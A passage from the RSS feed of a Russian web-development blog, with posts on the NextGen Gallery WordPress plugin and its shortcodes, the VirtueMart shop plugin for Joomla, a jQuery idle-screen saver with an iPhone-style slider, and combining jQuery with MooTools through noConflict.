<p>Вот и всё на сегодня! Не забывайте как следует отдыхать, пока не настали трудо выебудни <img src='http://shublog.ru/wp-includes/images/smilies/icon_smile.gif' alt="icon smile Галерея NextGen Gallery для Wordpress. Часть 2. Как изменить title?" class='wp-smiley' title="Галерея NextGen Gallery для Wordpress. Часть 2. Как изменить title?" /> </p>
<p><img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="" border="0" alt="goodcode Галерея NextGen Gallery для Wordpress. Часть 2. Как изменить title?" src="http://shublog.ru/content/uploads/2012/01/goodcode.gif" width="321" height="478" /></p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/E4lyWbLq_do" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/cms/galereya-nextgen-gallery-dlya-wordpress-chast-2-kak-izmenit-title/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://shublog.ru/cms/galereya-nextgen-gallery-dlya-wordpress-chast-2-kak-izmenit-title/</feedburner:origLink></item>
		<item>
		<title>Галерея NextGen Gallery для Wordpress. Часть 1. Почему NGGallery?</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/cYv1qreCYzg/</link>
		<comments>http://shublog.ru/cms/galereya-nextgen-gallery-dlya-wordpress-chast-1-pochemu-nggallery/#comments</comments>
		<pubDate>Sun, 13 Nov 2011 16:53:18 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[CMS]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[nextgen gallery]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1436</guid>
		<description><![CDATA[Всем привет! Сегодня я открываю рубрику по WordPress'у и начну с наиболее частого вопроса – галерей. Качественные плагины хороши тем, что их также можно использовать как каталог товаров в случаях, когда совсем не нужен интернет-магазин.
 
Для WP я в своё время искал плагины и перебирал всякие разные из них. Как-то раз я наткнулся на DatsoGallery [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Всем привет! Сегодня я открываю рубрику по WordPress'у и начну с наиболее частого вопроса – галерей. Качественные плагины хороши тем, что их также можно использовать как каталог товаров в случаях, когда совсем не нужен интернет-магазин.</p>
<p align="justify"><img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="wordpress" border="0" alt="wordpress Галерея NextGen Gallery для Wordpress. Часть 1. Почему NGGallery?" src="http://shublog.ru/content/uploads/2011/11/wordpress.jpg" width="507" height="293" /> </p>
<p align="justify">Для WP я в своё время искал плагины и перебирал всякие разные из них. Как-то раз я наткнулся на DatsoGallery для Joomla, посмотрел её в работе и в целом оно мне понравилось. Я решил найти что-то похожее на WordPress и в итоге оказался приятно удивлён NextGen Gallery, которая, вероятно, по некоторым пунктам даже лучше той самой датсо.</p>
<p>  <span id="more-1436"></span>
<p align="justify">С тех пор для галерей я использую её и рекомендую другим. Почему? Есть ряд причин, которые меня в ней привлекают и радуют. Чуть ниже перечислены её основные достоинства:</p>
<ul>
<li>
<div align="justify">Вполне удобная и разноплановая сортировка галерей по альбомам, и сортировка изображений непосредственно в галерее. Что хотим, то и получаем.</div>
</li>
<li>Удобный загрузчик изображений и возможность загружать фотки в архивах. </li>
<li>Возможность сжимать загружаемые изображения, и создавать миниатюры к ним, задавая качество, соотношение сторон и т.д. Если нужно срочно сменить все миниатюры – опять же пакетно их по-быстрому изменим. </li>
<li>Возможность добавлять ватермарки на изображение, как текстовые, так и графические. </li>
<li>На выбор встроены скрипты Thickbox, Lightbox (на jQuery) и Highslide. При этом очень легко можно встроить любой другой скрипт, если эти по каким-либо причинам не устраивают. </li>
<li>
<div align="justify">Гибкая настройка внешнего вида. Во-первых, есть несколько готовых стилей CSS, а во-вторых – если дружите с html и php, то можете отредактировать шаблоны как душе угодно.</div>
</li>
<li>
<div align="justify">Нет проблем с локализацией (на 15 языках официально).</div>
</li>
</ul>
<p align="justify">И это не говоря об управлении доступом к редактированию и добавлению изображений, наличии слайдшоу на флэше, поддержки тегов для изображений, наличии ЧПУ и пр., а также о всяких разных надстройках, которые блуждают по всемирной паутине.</p>
<p align="justify">Среди обнаруженных принципиальных минусов могу отметить следующие:</p>
<ul>
<li>
<div align="justify">Первый минус связан с ЧПУ. Красивые урлы это здорово, но вот они однотипны и прописываются от корня сайта. Поэтому, если к странице /mycatalog/razdel1/ прописать сложную галерею, то оттуда ссылки попрут на директории типа /nggallery/album-1/gallery-1/. Не уверен. что это хорошо для СЕО. Однако это легко поправимо. Нужно создать всю вложенную структуру каталога изображений в стандартной вкладке WP &quot;Страницы&quot;, а потом каждой странице прописать соответствующую галерею.</div>
</li>
<li>
<div align="justify">Второй минус связан с тайтлами. Плагин тупо пишет в заголовках страницы Галерея 1 Альбом 1. Нереальный бред и для сео полный трэш. Но о его устранении я напишу в будущей статье.</div>
</li>
<li>
<div align="justify">Третий минус – придётся привыкнуть к терминологии галерей и альбомов, чтобы потом не путаться в админке <img src='http://shublog.ru/wp-includes/images/smilies/icon_smile.gif' alt="icon smile Галерея NextGen Gallery для Wordpress. Часть 1. Почему NGGallery?" class='wp-smiley' title="Галерея NextGen Gallery для Wordpress. Часть 1. Почему NGGallery?" /> </div>
</li>
</ul>
<p align="justify">Что касается плагина и полезных ссылок для него:</p>
<p> <noindex>
<p align="justify"><a href="http://wordpress.org/extend/plugins/nextgen-gallery/" rel="nofollow" target="_blank">Скачать плагин</a>     <br /><a href="http://wordpress.org/extend/plugins/nextgen-gallery/download/" rel="nofollow" target="_blank">Скачать более старые версии плагина</a> (и посмотреть к какой серии WP что относится)     <br /><a href="http://wp.turkenichev.ru/tag/nextgen-gallery/" rel="nofollow" target="_blank">Русификатор к различным версиям</a>     <br /><a href="http://alexrabe.de/wordpress-plugins/nextgen-gallery/languages/" rel="nofollow" target="_blank">Различные языки, включая русский</a>     <br /><a href="http://nextgen-gallery.com/" rel="nofollow" target="_blank">Сайт плагина, где можно посмотреть примеры и их применение</a>     </p>
<p> </noindex>
<p>И напоследок кратко о применении плагина. По последней ссылке, конечно, можно посмотреть всё вживую, но всё таки придётся там побегать по страницам, так что кратенько – вуаля:</p>
<ol>
<li>Вывод альбомов происходит следующим образом:
<div class="coding_block">[album id=x template=extend] или [album id=x template=compact] </div>
<p> где X – id альбома, а вариант вывода template позволяет отображать вложенные альбомы компактно или расширенно <noindex>(<a href="http://nextgen-gallery.com/album/" rel="nofollow" target="_blank">пример</a>)</noindex>. </li>
<li>Вывод галерей:
<div class="coding_block">[nggallery id=x] </div>
<p> где X – id галереи<noindex> (<a href="http://nextgen-gallery.com/gallery-page/" rel="nofollow" target="_blank">пример</a>)</noindex>. </li>
<li>Вывод одиночного изображения:
<div class="coding_block">[singlepic id=x h=height w=weight mode=web20]</div>
<p> где X – id изображения, h и w – высота и ширина, mode – дополнительная плюшка на изображение, принимает два значения <em>watermark </em>(добавляет ватермарку на изображение) и <em>web20 </em>(добавляет эффект отражения в зеркале) <noindex>(<a href="http://nextgen-gallery.com/singlepic/" rel="nofollow" target="_blank">пример</a>)</noindex>. </li>
<li>Вывод слайдшоу:
<div class="coding_block">[slideshow id=x w=width h=height]</div>
<p> где X – id галереи, h и w – высота и ширина<noindex> (<a href="http://nextgen-gallery.com/slideshow/" rel="nofollow" target="_blank">пример</a>)</noindex>. </li>
<li>Постраничный вывод изображений галереи:
<div class="coding_block">[imagebrowser id=x]</div>
<p> где X – id галереи <noindex>(<a href="http://nextgen-gallery.com/image-browser/" rel="nofollow" target="_blank">пример</a>)</noindex>. </li>
<li>Вывод изображений по тегам:
<div class="coding_block">[nggtags gallery=mytag,shublog,... ]</div>
<p> <noindex>(<a href="http://nextgen-gallery.com/gallery-tags/" rel="nofollow" target="_blank">пример</a>)</noindex>. </li>
</ol>
<p>&#160;</p>
<p>Вот такое вот моё ИМХО. Буду очень рад комментариям на тему, особенно в плане того, чем пользуетесь вы, почему, и что может быть даже лучше NextGen'а, но было мною упущено. И конструктивную критику тоже крайне приветствую <img src='http://shublog.ru/wp-includes/images/smilies/icon_smile.gif' alt="icon smile Галерея NextGen Gallery для Wordpress. Часть 1. Почему NGGallery?" class='wp-smiley' title="Галерея NextGen Gallery для Wordpress. Часть 1. Почему NGGallery?" /> </p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/cYv1qreCYzg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/cms/galereya-nextgen-gallery-dlya-wordpress-chast-1-pochemu-nggallery/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		<feedburner:origLink>http://shublog.ru/cms/galereya-nextgen-gallery-dlya-wordpress-chast-1-pochemu-nggallery/</feedburner:origLink></item>
		<item>
		<title>Интернет-магазин VirtueMart для Joomla. Часть 1. Вступление</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/DaIjmvFATgU/</link>
		<comments>http://shublog.ru/cms/internet-magazin-virtuemart-dlya-joomla-chast-1-vstuplenie/#comments</comments>
		<pubDate>Mon, 31 Oct 2011 18:50:16 +0000</pubDate>
		<dc:creator>Жумловед Борис</dc:creator>
				<category><![CDATA[CMS]]></category>
		<category><![CDATA[Joomla]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1432</guid>
		<description><![CDATA[ Всем привет! Меня зовут Борис. Я аспирант экономического факультета СПбГУ и, как вы уже, наверное, поняли, я по специальности далеко не программист и даже не дизайнер. По жизни так сложилось, что вот уже шесть лет я занимаюсь так называемым программированием в качестве своего хобби. 
В своей практике приходилось сталкиваться с разными готовыми движками, как [...]]]></description>
			<content:encoded><![CDATA[<p><img style="border-bottom: 0px;border-left: 0px;margin: 0px 0px 0px 15px;border-top: 0px;border-right: 0px" border="0" alt="virtuemart Интернет магазин VirtueMart для Joomla. Часть 1. Вступление" align="right" src="http://shublog.ru/content/uploads/2011/10/virtuemart.jpg" width="244" height="195" title="Интернет магазин VirtueMart для Joomla. Часть 1. Вступление" /> Всем привет! Меня зовут <b>Борис</b>. Я аспирант экономического факультета СПбГУ и, как вы уже, наверное, поняли, я по специальности далеко не программист и даже не дизайнер. По жизни так сложилось, что вот уже шесть лет я занимаюсь так называемым программированием в качестве своего хобби. </p>
<p>В своей практике приходилось сталкиваться с разными готовыми движками, как платными, так и бесплатными. У всех, естественно, есть свои плюсы и минусы, и каждый может подобрать себе движок на вкус и на цвет. Но лично я, в конечном итоге, остановился на <b>Joomla</b>. Да, многие сейчас подумали «О, ужас! Он же такой корявый, деревянный» и все прочее, но. </p>
<p>Готов уверить, что <strong>Joomla</strong> один из лучших бесплатных движков, так как он постоянно поддерживается (обновляется), к нему есть масса полезных компонентов, модулей, плагинов (которые позволяют из этого теста лепить всё, что хочешь) и при всём этом он достаточно востребован. Его основными недостатками можно считать медленную работу и деревянный интерфейс.</p>
<p><strong>Александр</strong> (он же Шу, автор этого блога) пригласил меня к себе, чтобы вести рубрику статей по <strong>Jooml'е</strong>. Я с радостью согласился, дабы поделиться своим личным опытом работы с этим движком. Надеюсь, что статьи будут полезны и найдут своё применение в интернет-быту.</p>
<p>Открыть <b>раздел по </b><b>Joomle</b> и, как оказывается, по <b>CMS</b>'кам в целом, я хотел бы с простой беседы о заполонивших паутину интернет-магазинов. <b>Интернет-магазины</b>, это то будущее, которое есть уже сегодня. Многие люди уже давно не боятся покупать что-либо в интернете, и поэтому продающие компании всё чаще и чаще прибегают к этому виду торговли. </p>
<p> <span id="more-1432"></span>
</p>
<p>Ни для кого не секрет, что иметь интернет-магазин в разы дешевле, чем торговую точку, даже если она будет находиться на окраине города. Ведь любой интернет-магазин может оказаться в центре. В центре внимания. </p>
<p>Обычно все качественные движки, предназначенные исключительно интернет-магазинов, стоят денег, которых, особенно на заре становления фирмы, лишних просто не бывает. Конечно, выбор падает на бесплатные движки. Чем хороша <strong>Joomla</strong>, так это тем, что для неё есть очень много всего, включая плагины интернет-магазинов, которые позволят сделать из вашего сайта именно то, что нужно.</p>
<p>Естественно, плагинов магазинов тоже хватает, поэтому назовём несколько основных вещей, которые нужны для интернет-магазина. </p>
<ol>
<li>Во-первых, это, конечно же, <b>корзина</b>, с помощью которой производиться заказ.</li>
<li>Во-вторых, это <b>форма заказа</b>, которую заполняет клиент уже после добавления товара в корзину. </li>
<li>В-третьих, это оперативное <b>информирование</b> продавца о поступлении заказа</li>
<li>Кроме того, к нужным моментам можно отнести формирование <b>xml файла для Яндекс.Маркета</b>, так как на сегодняшний день многие интернет-магазины стремятся попасть в яндекс.маркет для привлечения дополнительных клиентов. Если можно так сказать, то Яндекс Маркет – это торговый комплекс для интернет магазинов. А в торговый комплекс попасть хотят все.</li>
</ol>
<p>На <strong>Joomla</strong> существует много компонентов для организации интернет-магазина, но мне бы хотелось выделить бесплатный компонент под названием <b>VirtueMart</b>. Да, многие считают, что это всего лишь база, которую можно настроить под себя, но для небольших интернет-магазинов более и не надо. </p>
<p>В силу того, что <b>VirtueMart</b> является очень популярным, для него уже есть масса дополнений, а на всех форумах, посвященных <strong>Jooml'e</strong>, есть специальный раздел <strong>VirtueMart'у</strong>. Так что, в принципе, из него можно без больших усердий сделать именно тот интернет-магазин, о котором Вы мечтаете.</p>
<p>Естественно, в <strong>VirtueMart'e</strong> все необходимые вещи, указанные выше, имеются. </p>
<ol>
<li><b>Корзина</b> довольно удобная, правда приходиться её настраивать в стиль своего сайта и править русскоязычную версию (ибо неизбежны будут записи «2 Товары» или «5 Товары»);</li>
<li><b>Форма заказа</b> построена таким образом, что любой администратор сайта сможет её настроить ровно так, как ему хочется: все поля редактируемые, можно назвать их как угодно, можно выбрать какие поля будут обязательные, а какие нет, можно выбрать какие поля показывать при регистрации, и так далее;</li>
<li><strong>VirtueMart</strong> автоматически генерирует 2 письма после оформления заказа, одно письмо идет покупателю, второе администратору: таким образом, оперативность обеспечена;</li>
<li>Что касается xml-файла, то вот тут зарубежные разработчики VirtueMart не подумали о российском <strong>Яндекс.Маркете</strong>, что, в принципе, не особо удивительно. Но варианты решения есть. Старую версию VirtueMart 1.0.15 разобрали и переработали наши соотечественники, добавив в него экпорт в Яндекс.Маркет и всякие другие полезные штучки для Российского рынка. К сожалению, разработчики так и остановились на этой версии. Но, тем не менее, для VirtueMart 1.1.x также есть решение, не особо сложное, и об этом я обязательно расскажу в следующих статьях.</li>
</ol>
<p>Итак, подведём итог этой вступительной статье. Интернет-магазины – это хорошо, на <strong>Jooml'е</strong> их делать можно, и при правильном подходе абсолютно любые. Есть плагин <strong>VirtueMart</strong> для этой самой <strong>Jooml'ы</strong>, который обладает самыми необходимыми возможностями и, конечно же, этим не ограничивается.</p>
<p>Впереди будет цикл статей, посвящённых <strong>VirtueMart'у</strong>, его возможностям и улучшениям, так что если вас что-то о нём беспокоит и интересует – пишите, расскажем. Также, если у вас есть насущные вопросы по той же самой Джумле, то оставляйте заявки, и будет вам счастье <img src='http://shublog.ru/wp-includes/images/smilies/icon_smile.gif' alt="icon smile Интернет магазин VirtueMart для Joomla. Часть 1. Вступление" class='wp-smiley' title="Интернет магазин VirtueMart для Joomla. Часть 1. Вступление" /> </p>
<p>На этом я закончу вводную и ознакомительную статью. Оставайтесь на линии. </p>
<p align="right">Ваш жумловед, Борис</p>
<p align="right"><a href="http://shublog.ru/content/uploads/2011/10/joomla_by_grafi_ray.jpg"><img style="border-bottom: 0px;border-left: 0px;float: none;margin-left: auto;border-top: 0px;margin-right: auto;border-right: 0px" border="0" alt="joomla by grafi ray thumb Интернет магазин VirtueMart для Joomla. Часть 1. Вступление" src="http://shublog.ru/content/uploads/2011/10/joomla_by_grafi_ray_thumb.jpg" width="563" height="363" title="Интернет магазин VirtueMart для Joomla. Часть 1. Вступление" /></a></p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/DaIjmvFATgU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/cms/internet-magazin-virtuemart-dlya-joomla-chast-1-vstuplenie/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://shublog.ru/cms/internet-magazin-virtuemart-dlya-joomla-chast-1-vstuplenie/</feedburner:origLink></item>
		<item>
		<title>Энергосберегающий экран плюс блок от iPhone на jQuery</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/-z_rxCrViRE/</link>
		<comments>http://shublog.ru/ajax/jquery/ehnergosberegayushhijj-ehkran-plyus-blok-ot-iphone-na-jquery/#comments</comments>
		<pubDate>Sat, 15 Oct 2011 06:31:54 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[AJAX]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Красивости, интересности, полезности]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[красивости]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1418</guid>
		<description><![CDATA[Всем привет! Не прошло и полгода… вру, прошло, ну да ладно! Не прошло и года, как я добрался реализовать не особо полезную, но прикольную фичу, которая зародилась в моей голове уже довольно давно. А началась она со знакомства с двумя, казалось бы ничем не связанными скриптами, созданными на jQuery.

Мини-объявление
Но прежде, чем я напишу по существу, [...]]]></description>
			<content:encoded><![CDATA[<p>Всем привет! Не прошло и полгода… вру, прошло, ну да ладно! Не прошло и года, как я добрался реализовать не особо полезную, но прикольную фичу, которая зародилась в моей голове уже довольно давно. А началась она со знакомства с двумя, казалось бы ничем не связанными скриптами, созданными на jQuery.</p>
<div style="border-bottom: #ccc 1px solid; border-left: #ccc 1px solid; padding-left: 15px; padding-right: 15px; font-size: 11px; border-top: #ccc 1px solid; border-right: #ccc 1px solid">
<p><strong>Мини-объявление</strong></p>
<p>Но прежде, чем я напишу по существу, хочу сделать объявление. По результатам последнего опроса, было решено создать раздел, посвящённый различным <strong>CMS</strong>'кам. И даже пара отрицательных голосов не помещают этому. К слову, среди этих сливных голосов один робот, один недоброжелатель и один вредный друг из Минска, которому я с радостью передаю привет – Андрюха, дарова, задница ты эдакая =)</p>
<p>Так вот. Пока будут заведены подразделы по <strong>Wordpress</strong> и <strong>Joomla</strong>. Первым подразделом займусь я, но чуть попозже, а второй подраздел возьмёт под своё крыло мой старый не по возрасту коллега – Борис. Вы его увидите на сайте не иначе как &quot;<strong>Жумловед Борис</strong>&quot; и этим будет всё сказано. Он уже с Жумлой знаком давно, решал многие проблемы, поэтому с радостью начнёт делиться с Вами опытом в ближайшее время. А пока… </p>
</p></div>
<p> <span id="more-1418"></span><br />
<h4 align="center">Скрипт 1 – Энергосберегающий экран</h4>
<p align="justify">Этот скрипт я нашёл где-то случайно, оставив какую-то веб-страничку без присмотра. После минуты простоя и бездействия на странице, всплывает чёрный экран с надписью, что так и так, режим энергосбережения. Полезно? Однозначно! .</p>
<p> <noindex>
<div><a class="but_info" href="http://www.onlineleaf.com/" rel="nofollow">&#160;</a> <a class="but_download" href="http://www.onlineleaf.com/savetheenvironment.js" rel="nofollow">&#160;</a> </div>
<p> </noindex>
<p>&#160;</p>
<p align="justify"><img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="Энергосберегающий экран jQuery" border="0" alt="nrgsave Энергосберегающий экран плюс блок от iPhone на jQuery" src="http://shublog.ru/content/uploads/2011/10/nrgsave.jpg" width="546" height="334" /> </p>
<h4 align="center">Скрипт 2 – разблокировка в стиле IPhone</h4>
<p>На CSSTricks я увидел на html5 и jQuery слайдинг в стиле разблокировки клавиатуры на <strong>IPhone – Slide to Unlock</strong>. Идея и исполнение мне очень понравилось, за исключением двух пунктов. </p>
<p>Ползунок убегает за пределы рамки, хотя в АйФоне он упирается (и ведёт себя как нормальный такой ползунок – <em>прим.ред.</em>). Вероятно, что в этом виноват второй пункт негодования, связанный с версией jQuery. Плагин успешно работает на 1.4.х, но на 1.6 с копейками он ведёт себя криво. Плюс, в кода есть блок эдак строчек на двадцать, закомментив который ровным счётом ничего не меняется. Разбираться зачем он, я не стал.</p>
<p>Баг ползунка исправляется буквальной парой строчек кода, но об этом ниже. Ещё необходимо сказать, что для корректной работы, если вы ещё не догадались, нужно прописать &lt;!DOCTYPE html&gt; и никакой другой. Всё таки тут завязка на html5.</p>
<p> <noindex>
<div><a class="but_info" href="http://css-tricks.com/7079-slide-to-unlock/" rel="nofollow">&#160;</a> <a class="but_sample" href="http://css-tricks.com/examples/SlideToUnlock/" rel="nofollow">&#160;</a> <a class="but_download" href="http://css-tricks.com/examples/SlideToUnlock.zip" rel="nofollow">&#160;</a> </div>
<p> </noindex>
<p>&#160;</p>
<p><img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="iPhone slide to unlock" border="0" alt="slide to unlock Энергосберегающий экран плюс блок от iPhone на jQuery" src="http://shublog.ru/content/uploads/2011/10/slide_to_unlock.jpg" width="516" height="122" /> </p>
<h4 align="center">Скрипт 3 – Энергосберегающий экран с разблокировкой от IPhone</h4>
<p align="justify">И вот она – случайно родившаяся идея. А почему бы не сделать так, чтобы появляющийся энергосберегающий экран отключался при помощи ползунка от айфона? И стильно, и красиво (и энергию экономит – <em>прим.ред.</em>).</p>
<p>Чуть ниже вы найдёте ссылку на пример и на архив с примером, который наглядно демонстрирует возможности этого симбиоза. Освещу всего лишь несколько самых важных моментов. Для наглядности откройте файл <a href="http://shublog.ru/examples/2011.10.15-slidesaver/js/slidetounlock.js" target="_blank">slidetounlock.js</a> в любимом кодерском редакторе с нумерацией строк кода.</p>
<ol>
<li>В первых двух строках определены переменные счётчика времени и вкл/выкл для режима сохранения энергии. </li>
<li>Строки 3-8. Проверка бездействия пользователя. Добавляем +10 у.е., и если суммарно набралось 20 этих самых у.е., то врубаем экран. </li>
<li>Строки 9-18. Проверяем включён ли чёрный экран и если нет, то подрубаем – растягиваем окно анимацией и изменяем переменную включённости режима. </li>
<li>Строки 19-25. Тоже самое, но наоборот. То есть, отключаем энергосберегающий режим. </li>
<li>Строки 27-40. Объявляем. а потом инициализируем функцию проверки бездействия пользователя и вывода чёрного экрана. Обращаю внимание на 30 строку. Тут задаём в миллисекундах время, через которое активируем экран. Однако, напоминаю, что в 3-8 строках есть ещё +10 уе. Посмотрите – в совокупности эти два параметра дают общее время. То есть, если setInterval 1 секунда, и в проверке пятой строки стоит цифра 20, то экран появится не через секунду, а через две секунды. Также, в 36 строке, оставлено отключение экрана по нажатию на клавиши клавиатуры – на всяк случай. </li>
<li>Оставшийся код – это к слайдеру айфона. Обращаю внимание на 49 и 53 строки. Именно о них я говорил ранее и именно они ограничивают ползунок, чтобы он не заползал за пределы своего блока. А 50я строка отвечает за то, что когда ползунок передвинем, то нужно отключить энергосберегающий экран. Именно здесь можно задавать всё то, что нужно делать после перемещения ползунка направо. Как вариант - перезагружать страницу. </li>
</ol>
<div><a class="but_sample" href="http://shublog.ru/examples/2011.10.15-slidesaver/slidesaver.html">&#160;</a> <a class="but_download" href="http://shublog.ru/examples/2011.10.15-slidesaver/2011.10.15-slidesaver.zip">&#160;</a> </div>
<p>&#160;</p>
<p><img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="nrgsaveiphone" border="0" alt="nrgsaveiphone thumb Энергосберегающий экран плюс блок от iPhone на jQuery" src="http://shublog.ru/content/uploads/2011/10/nrgsaveiphone_thumb.jpg" width="516" height="172" /></p>
<p>Вот, пожалуй, и всё. Надеюсь, что рецепт будет полезен и интересен окружающим. Конечно же, буду рад комментам и отзывам (любым – <em>прим.ред.</em>).</p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/-z_rxCrViRE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/ajax/jquery/ehnergosberegayushhijj-ehkran-plyus-blok-ot-iphone-na-jquery/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		<feedburner:origLink>http://shublog.ru/ajax/jquery/ehnergosberegayushhijj-ehkran-plyus-blok-ot-iphone-na-jquery/</feedburner:origLink></item>
		<item>
		<title>"NoConflict между jQuery и MooTools" или "Как поженить две библиотеки"</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/IhrwjMW8ydY/</link>
		<comments>http://shublog.ru/ajax/jquery/noconflict-mezhdu-jquery-i-mootools/#comments</comments>
		<pubDate>Tue, 09 Aug 2011 12:31:00 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[AJAX]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Важные мелочи]]></category>
		<category><![CDATA[интересности]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1409</guid>
		<description><![CDATA[Все прекрасно знают, что две библиотеки поженить бывает крайне проблемно. Обычно, все стремятся к тому, чтобы всё сделано было под одной библиотекой. Но что делать, когда тебя припирают к стенке и ставят в безвыходное положение? Правильно, бороться.
Недавно и меня так припёрли. Но, к великому счастью, в отличие от других библиотек, jQuery содержит в себе функцию, [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Все прекрасно знают, что две библиотеки поженить бывает крайне проблемно. Обычно, все стремятся к тому, чтобы всё сделано было под одной библиотекой. Но что делать, когда тебя припирают к стенке и ставят в безвыходное положение? Правильно, бороться.</p>
<p align="justify">Недавно и меня так припёрли. Но, к великому счастью, в отличие от других библиотек, <strong>jQuery</strong> содержит в себе функцию, которая позволяет использовать её наравне с другими библиотеками, например, с <strong>MooTools</strong> или <strong>Prototype</strong>.</p>
<p align="justify">Конечно же, речь идёт <strong>о функции noConflict()</strong>. Я бы не стал о неё и писать, но, как показывает практика, не все знают как ею нормально пользоваться. Оно и понятно – спасибо &quot;исчерпывающей&quot; информации на оф.сайте.</p>
<p align="justify">Итак, предлагаю пошаговый рецепт для корректного совмещения jQuery и MooTools.</p>
<p> <span id="more-1409"></span>
<p align="justify"></p>
<h2 align="center">Совмещаем jQuery и Mootols (или Prototype)</h2>
<p style="margin-top: -10px; font: 14px georgia" align="center">пошаговая инструкция</p>
<ol>
<li>
<p align="justify">Подключаем библиотеку MooTools/Prototype и все скрипты под неё. Будет что-то типа: </p>
<div class="coding_block">&lt;script type=&quot;text/javascript&quot;src=&quot;js/mootools.js&quot;&gt;&lt;/script&gt;        <br />&lt;script type=&quot;text/javascript&quot;src=&quot;js/mootools_plugin1.js&quot;&gt;&lt;/script&gt;         <br />&lt;script type=&quot;text/javascript&quot;src=&quot;js/mootools_plugin2.js&quot;&gt;&lt;/script&gt;         </div>
</li>
<li>
<div align="justify">Затем подключаем jQuery:</div>
<div class="coding_block">&lt;script type=&quot;text/javascript&quot;src=&quot;js/jquery.js&quot;&gt;&lt;/script&gt;        </div>
</li>
<li>
<div align="justify">Далее вызываем функцию noConflict():</div>
<div class="coding_block">&lt;script type=&quot;text/javascript&quot;&gt;        <br />&#160;&#160; jQuery.noConflict();         <br />&lt;/script&gt;         </div>
</li>
<li>
<div align="justify">Далее подключаем все скрипты от jQuery:</div>
<div class="coding_block">&lt;script type=&quot;text/javascript&quot;src=&quot;js/jquery_plugin1.js&quot;&gt;&lt;/script&gt;        <br />&lt;script type=&quot;text/javascript&quot;src=&quot;js/jquery_plugin2.js&quot;&gt;&lt;/script&gt; </div>
</li>
<li>
<div align="justify">И последний шаг, самый важный, про который всегда забывают. <strong>Во всех скриптах jQuery</strong> (в данном случае jquery_plugin1.js и jquery_plugin2.js) <strong>нужно провести замену $ на jQuery</strong>. Сделать это можно в любом текстовом редакторе. </div>
</li>
</ol>
<p align="justify">&#160;</p>
<p align="justify">Вот и всё, ничего сложного.</p>
<p align="justify">&#160;</p>
<p align="justify">Напоследок поделюсь интересной штукой. Вы никогда не задумывались сколько берёт за разработку сайтов студия Артемия Лебедева? Понятное дело – <strike>до ху</strike> много. Но оно и понятно – хорошие и качественные сайты, плюс логотип студии А.Л. в подвале, что считается престижным. Раз заказал сайт у Лебедева, значит есть деньги, значит фирма процветает.</p>
<p align="justify">Однако, как и везде, у нас все живут на откатах. Не знаю как за рубежом с этим, но у нас, наверное, больше половины всех фирм живут именно так, будь то рыбная промышленность или сайтостроение. </p>
<p align="justify">Тут прочитал на ekimoff.ru заметку про сайт Стрима (интернет-провайдер такой был), который попросил дополнительно, сверх договора, разместить в подвале логотип Комстара. Понятное дело, что логотип уже был, нужно было всего лишь разместить его в подвал. Как думаете, сколько стоит такая работа:</p>
<div class="coding_block">&lt;div style=&quot;float:left;&quot;&gt;    <br />&lt;img src=&quot;logo.jpg&quot; width=&quot;100&quot; height=&quot;50&quot; align=&quot;absmiddle&quot;&gt; ЗАО &quot;КОМСТАР&quot;     <br />&lt;/div&gt;</div>
<p>Правильно, 500 евро. Со скидкой, конечно же.</p>
<p><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="" border="0" alt="price &quot;NoConflict между jQuery и MooTools&quot; или &quot;Как поженить две библиотеки&quot;" src="http://shublog.ru/content/uploads/2011/08/price.jpg" width="572" height="308" /> </p>
<p>Ну, даже если закрыть глаза на ценник, всё равно не могу понять: как на это можно потратить 7,5 часов? Хотя если бы это реально были 7,5 часов работы, то цена для крупной компании вполне ничего. Конечно, даже в голове придумывается объяснение, что нужно влить логотип в макет, чтобы он гармонично смотрелся, для этого работает дизайнер, потом утверждает с арт-директором, потом технолог это как-то реализует с трудом за 4 часа и, естественно, менеджер по ходу дела связывает клиента с фирмой, устраивает ли вас вот такой вариант. Всё равно чего-то тут не то.</p>
